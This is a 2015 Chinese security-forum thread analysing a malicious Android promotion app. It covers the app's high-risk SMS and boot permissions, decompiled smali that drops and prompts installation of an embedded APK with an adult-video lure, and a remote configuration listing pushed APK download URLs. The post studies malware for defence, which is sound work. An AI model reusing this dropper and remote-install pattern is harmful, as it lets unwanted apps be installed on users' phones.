kangkai 发表于 2015-10-22 00:56

一枚恶意推广app样本简单分析

本帖最后由 kangkai 于 2015-10-22 01:04 编辑

一、样本信息File: C:\Users\mattpeng\Desktop\demowy.apkSize: 1431275 bytesModified: 2015年10月21日, 22:46:11MD5: 682BE9D3335D21A****31FC3915B4E2SHA1:0DCAA12742FA62586D4070DD1EA47579D9A0E38ECRC32: 747F4DA5PackAge: com.fywx.video
一、具体分析
1.      查看AndroidManifest.xml配置文件，很幸运，没有进行加固处理。可以发现赋予了病毒非常多的权限，且是高危的权限，例如发送短信、拨打电话、读取日志文件、重启应用程序等等
<uses-permission android:name="android.permission.GET_TASKS"/>
    <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"/>
    <uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.ACCESS_DOWNLOAD_MANAGER"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
    <uses-permission android:name="android.permission.RESTART_PACKAGES"/>
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
    <uses-permission android:name="android.permission.CHANGE_CONFIGURATION"/>
    <uses-permission android: name="android.permission.VIBRATE"/>
    <uses-permission android:name="android.permission.RUN_INSTRUMENTATION"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>


2.   当手机接收到短信、开机、解锁时就会启动程序
<service android:name="com.android.video1.MainService" android:enabled="true" />
      <receiver android:name="com.fy.fy_sdk.FPayReceiver">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.USER_PRESENT" />
            </intent-filter>

3.      我们先来com.android.video1.MainService处看看往下翻，发现一个比较重要判断跳转
   if-nez v1, :cond_3
    const-string v1, "Video1.MainActivity"

const-string v2, "Star MainService"看下源代码：
   if (!a.a)
      {
      Log.e("Video1.MainActivity", "Star MainService");
      localObject = new Intent("com.android.video1.install_from_shortcut");
      ((Intent)localObject).setClass(this, MainService.class);
      ((Intent)localObject).putExtra("shortcutid", paramBundle);
      startService((Intent)localObject);
}
我们再看看判断条件的内容，改判断内容主要是判断手机中是否已经安装了改应用，如果安装了，则跳过安装，执行下一步；若为安装装则执行安装

    const-string v0, "Check install"
    const-string v1, "check"

    invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

    invoke-virtual {p0}, Landroid/app/Activity;->getPackageManager()Landroid/content/pm/PackageManager;const-string v3, "video.apk"

    invoke-direct {v1, v2, v3}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V

    sput-object v1, Lcom/fywx/a/a;->e:Ljava/io/File;

    sget-object v1, Lcom/fywx/a/a;->e:Ljava/io/File;

    invoke-virtual {v1}, Ljava/io/File;->exists()Z

    move-result v1

    if-nez v1, :cond_0

    new-instance v1, Ljava/io/FileOutputStream;

    sget-object v2, Lcom/fywx/a/a;->e:Ljava/io/File;

    invoke-direct {v1, v2}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V

    const/16 v2, 0x400

    new-array v2, v2, [B

    :goto_0
    invoke-virtual {v0, v2}, Ljava/io/InputStream;->read([B)I

    move-result v3

    if-gtz v3, :cond_2

    invoke-virtual {v1}, Ljava/io/FileOutputStream;->close()V

    invoke-virtual {v0}, Ljava/io/InputStream;->close()V
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0

    :cond_0
    :goto_1
    new-instance v0, Landroid/app/AlertDialog$Builder;

    invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V

    sput-object v0, Lcom/fywx/a/a;->c:Landroid/app/AlertDialog$Builder;

    sget-object v0, Lcom/fywx/a/a;->c:Landroid/app/AlertDialog$Builder;

    new-instance v1, Landroid/graphics/drawable/BitmapDrawable;

    const-string v2, "/res/drawable-hdpi/ic_launcher.png"

    invoke-static {v2}, Ljava/lang/ClassLoader;->getSystemResourceAsStream(Ljava/lang/String;)Ljava/io/InputStream;

    move-result-object v2

    invoke-direct {v1, v2}, Landroid/graphics/drawable/BitmapDrawable;-><init>(Ljava/io/InputStream;)V

    invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setIcon(Landroid/graphics/drawable/Drawable;)Landroid/app/AlertDialog$Builder;

    sget-object v0, Lcom/fywx/a/a;->c:Landroid/app/AlertDialog$Builder;

    invoke-virtual {v0, v5}, Landroid/app/AlertDialog$Builder;->setCancelable(Z)Landroid/app/AlertDialog$Builder;

    sget-object v0, Lcom/fywx/a/a;->c:Landroid/app/AlertDialog$Builder;

    const-string v1, "\u5b89\u88c5\u89c6\u9891\u4e0b\u8f7d\u63d2\u4ef6\u63d0\u793a"

    invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;

    sget-object v0, Lcom/fywx/a/a;->c:Landroid/app/AlertDialog$Builder;

    const-string v1, "\u60a8\u9700\u8981\u5b89\u88c5\u89c6\u9891\u63d2\u4ef6\u624d\u53ef\u4ee5\u89c2\u770b\u672c\u5e94\u7528\u5185\u7684\u5404\u79cd\u6fc0\u60c5\u89c6\u9891\u3002\u662f\u5426\u5b89\u88c5\u89c6\u9891\u63d2\u4ef6\uff1f"

    invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;

    sget-object v0, Lcom/fywx/a/a;->c:Landroid/app/AlertDialog$Builder;

    const-string v1, "\u5b89\u88c5"

    new-instance v2, Lcom/fywx/a/b;

    invoke-direct {v2, p0}, Lcom/fywx/a/b;-><init>(Landroid/app/Activity;)V

    invoke-virtual {v0, v1, v2}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;

    sget-object v0, Lcom/fywx/a/a;->c:Landroid/app/AlertDialog$Builder;

    const-string v1, "\u53d6\u6d88"






执行完判断条件后，回到MainActiviy，继续往下走来到MainService
在MainService第一行就是.field public static a:Lcom/android/video1/z，那我们就到.field public statica:Lcom/android/video1/z中看看
很幸运看到了一个新建对象，及常量字符串
new-instance v0, Lorg/apache/http/client/methods/HttpGet;

    new-instance v3, Ljava/lang/StringBuilder;   // 新建一个StringBuilder对象

    const-string v4, http://adverapk.****.aliyuncs.com/config%2******.txt?

将这个链接下来看看具体是什么，里面全是推广的app
{
"PopStartTime": "20",
"PopTime": "30",
"FlashStartTime": "15",
"ImageStartTime": "60",
"ImageTime": "60",
"AdItem": [
    {
      "Id": "10461",
      "Name": "无码爽播",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "2",
      "Intro": "",
      "Size": "1385",
      "MD5": "93F6FE9390216A40A357713954938599",
      "Delay": "2",
      "PackageName": "tfdufhkx.msmuycsd.yggfvnsb",
      "Activity": "com.dm.ts.DmtestActivity",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffx%2Fshipin%2Fshipin.apk",
      "IconAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffx%2Fshipin%2F12.png"
    },
    {
      "Id": "10462",
      "Name": "成人小说",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "5",
      "Intro": "成人小说",
      "Size": "2404",
      "MD5": "484B0AFDA43EFEF0C65B967CAF36B212",
      "IconAdd": "",
      "PackageName": "jxrnyg.bcolovo.kbkbyf",
      "Activity": "com.atnl.adultnovel.book.activity.StateAcitvity",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffx%2Fxiaoshuo%2Fchengrenxiaoshou.apk",
      "FullImgAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffx%2Fxiaoshuo%2Fcr.png"
    },
    {
      "Id": "10473",
      "Name": "无码爽播",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "5",
      "Intro": "无码爽播",
      "Size": "1385",
      "MD5": "93F6FE9390216A40A357713954938599",
      "IconAdd": "",
      "PackageName": "tfdufhkx.msmuycsd.yggfvnsb",
      "Activity": "com.dm.ts.DmtestActivity",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffx%2Fshipin%2Fshipin.apk",
      "FullImgAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffx%2Fshipin%2F0000.png"
    },
    {
      "Id": "10465",
      "Name": "全民酷跑",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "3",
      "Intro": "全民酷跑",
      "Size": "8254",
      "MD5": "C8F8643EAF93F870F999BCD8175FC872",
      "IconAdd": "",
      "PackageName": "com.ezgame.skater",
      "Activity": "com.snowfish.cn.ganga.offline.helper.SFGameSplashActivity",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/apks%2Fquanmingkupao%2Fquanmingkupao.apk",
      "PopImgAdd": [
      "http://adverapk.*********.aliyuncs.com/qudao%2Fhlq%2Fqmkp%2F5.jpg"
      ]
    },
    {
      "Id": "10466",
      "Name": "成人小说",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "2",
      "Intro": "",
      "Size": "2404",
      "MD5": "484B0AFDA43EFEF0C65B967CAF36B212",
      "Delay": "2",
      "PackageName": "jxrnyg.bcolovo.kbkbyf",
      "Activity": "com.atnl.adultnovel.book.activity.StateAcitvity",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffx%2Fxiaoshuo%2Fchengrenxiaoshou.apk",
      "IconAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffx%2Fshipin%2F1.jpg"
    },
    {
      "Id": "10469",
      "Name": "桃桃斗地主",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "3",
      "Intro": "美女和你一起斗地主桃桃斗地主",
      "Size": "9850",
      "MD5": "2E6ADDBDF0CC422DAFC6D97D13C62192",
      "IconAdd": "",
      "PackageName": "com.meiqu.ddzdj.zimon",
      "Activity": "com.open.sdk.DoActivity",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fqxjwl%2Ftaotaodoudizhu%2Ftaotao.apk",
      "PopImgAdd": [
      "http://adverapk.*********.aliyuncs.com/qudao%2Fqxjwl%2Ftaotaodoudizhu%2Fdoulun.png"
      ]
    },
    {
      "Id": "10472",
      "Name": "万能WIFI",
      "Intro": "万能WIFI，让你随时随地上网",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "1",
      "Size": "548",
      "MD5": "3D1FE5B1F4051BD40228E18DBFCC571C",
      "Delay": "14",
      "PackageName": "inspnmm.xhx.neets",
      "Activity": "com.huluxia.wifi.MainActivity",
      "IconAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fwifi%2Fwifi.png",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fwifi%2Fwifi100902.apk",
      "NotifyImgAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fwifi%2Faaa.png"
    },
    {
      "Id": "10485",
      "Name": "超级加速器",
      "Intro": "一款专注于手机内存清理、优化的超级加速软件，强力、持久释放内存",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "1",
      "Size": "843",
      "MD5": "3D1FE5B1F4051BD40228E18DBFCC571C",
      "Delay": "14",
      "PackageName": "com.apusapps.tools.boosterfq",
      "Activity": "com.apusapps.tools.booster.ui.BoostMainActivity",
      "IconAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fchaojijiasuqi%2Ficon.png",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fchaojijiasuqi%2Fchaoji.apk",
      "NotifyImgAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fchaojijiasuqi%2FL.png"
    },
    {
      "Id": "10478",
      "Name": "夫妻笑话大湿",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "2",
      "Intro": "",
      "Size": "2",
      "MD5": "7af8f2a17c40694ecca4be1533ae29d1",
      "Delay": "2",
      "PackageName": "com.mobapp.jokecouble21013",
      "Activity": "com.mobapp.jokecouble.WelcomeActivity",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffuqixiaohuadashi%2Fjoke100901.apk",
      "IconAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Ffuqixiaohuadashi%2Ficon.png"
    },
    {
      "Id": "10482",
      "Name": "高清直播",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "5",
      "Intro": "日韩美随你看。。",
      "Size": "1077",
      "MD5": "e4e97d05ee8ba44fa5e4fc91f2dd9c8b",
      "IconAdd": "",
      "PackageName": "com.dsedsa.sdgfrtd",
      "Activity": "com.icon.IconActivity",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fgaoqinzhibo%2Fgaoqin.apk",
      "FullImgAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fgaoqinzhibo%2Fq.png"
    },
    {
      "Id": "10483",
      "Name": "寂寞快播",
      "Intro": "夜深的时候，看片神器",
      "Size": "1187",
      "MD5": "ae59592d3d2e1c590f9c605c6b8a6b30",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "9",
      "Align": "down",
      "PackageName": "KI6k.Dc0O.Xh7R.E894",
      "Activity": "com.xiaochen.android.yyeuw.ui.UserNavAct",
      "IconAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fjimokuaibo%2Fic_launcher.png",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fjimokuaibo%2Fkuaibo.apk",
      "ImgAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fjimokuaibo%2Fm.gif"
    },
    {
      "Id": "10480",
      "Name": "泡泡龙",
      "Intro": "饭后一起打泡泡吧",
      "Size": "6482",
      "MD5": "986527388747090a9e7e44411bcaafe9",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "安徽,广西,贵州,海南,河北,黑龙江,湖北,吉林,辽宁,内蒙古,宁夏,青海,天津,西藏,新疆,云南",
      "Type": "9",
      "Align": "top",
      "PackageName": "com.fireflygame.popolong.tp",
      "Activity": "org.cocos2dx.cpp.AppActivity",
      "IconAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fpaopaolong%2FICON.png",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fpaopaolong%2Fpaopao.apk",
      "ImgAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Fpaopaolong%2Fp.png"
    },
    {
      "Id": "10484",
      "Name": "辣妹影院",
      "Operator": "中国移动,中国联通,中国电信",
      "Province": "0",
      "Type": "2",
      "Intro": "",
      "Size": "2",
      "MD5": "906273646affdbcc222da97c001a0216",
      "Delay": "2",
      "PackageName": "com.g.ees.appab",
      "Activity": "com.g.ees.appab.BrowseActivity",
      "APKAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Flameiyy%2Flamei.apk",
      "IconAdd": "http://adverapk.*********.aliyuncs.com/qudao%2Flameiyy%2Ficon.png"
    }
]
}




kangkai 发表于 2015-10-28 16:22

willJ 发表于 2015-10-23 09:30
那么问题来了，没有root权限的情况下，如何将这些推广装上去呢？

其实此app会做root检测，以及尝试去获取root权限，如果失败的话，则会诱导用户去安装。

小朋友呢 发表于 2015-10-22 08:13

虽然看不懂什么意思，我还是支持你。{:301_1003:}

zxf261 发表于 2015-10-22 08:22

很详细，分析很到位

willJ 发表于 2015-10-23 09:30

那么问题来了，没有root权限的情况下，如何将这些推广装上去呢？

woshenxia 发表于 2015-10-23 14:48

楼主方便提供样本，给我们实践分析下吗

Mr.Mlwareson_V 发表于 2015-10-28 15:28

大牛分析得很好啊，学习了

ytvirus 发表于 2015-11-3 16:14

很好！很不错，学习了....

jiejing 发表于 2015-12-2 12:36

大哥，样本提供下啊

一个小菜鸟 发表于 2016-4-6 18:29

样本给我一份吧
页: [1] 2
查看完整版本: 一枚恶意推广app样本简单分析


免责声明：
吾爱破解所发布的一切破解补丁、注册机和注册信息及软件的解密分析文章仅限用于学习和研究目的；不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑中彻底删除上述内容。如果您喜欢该程序，请支持正版软件，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。

Mail To:Service@52pojie.cn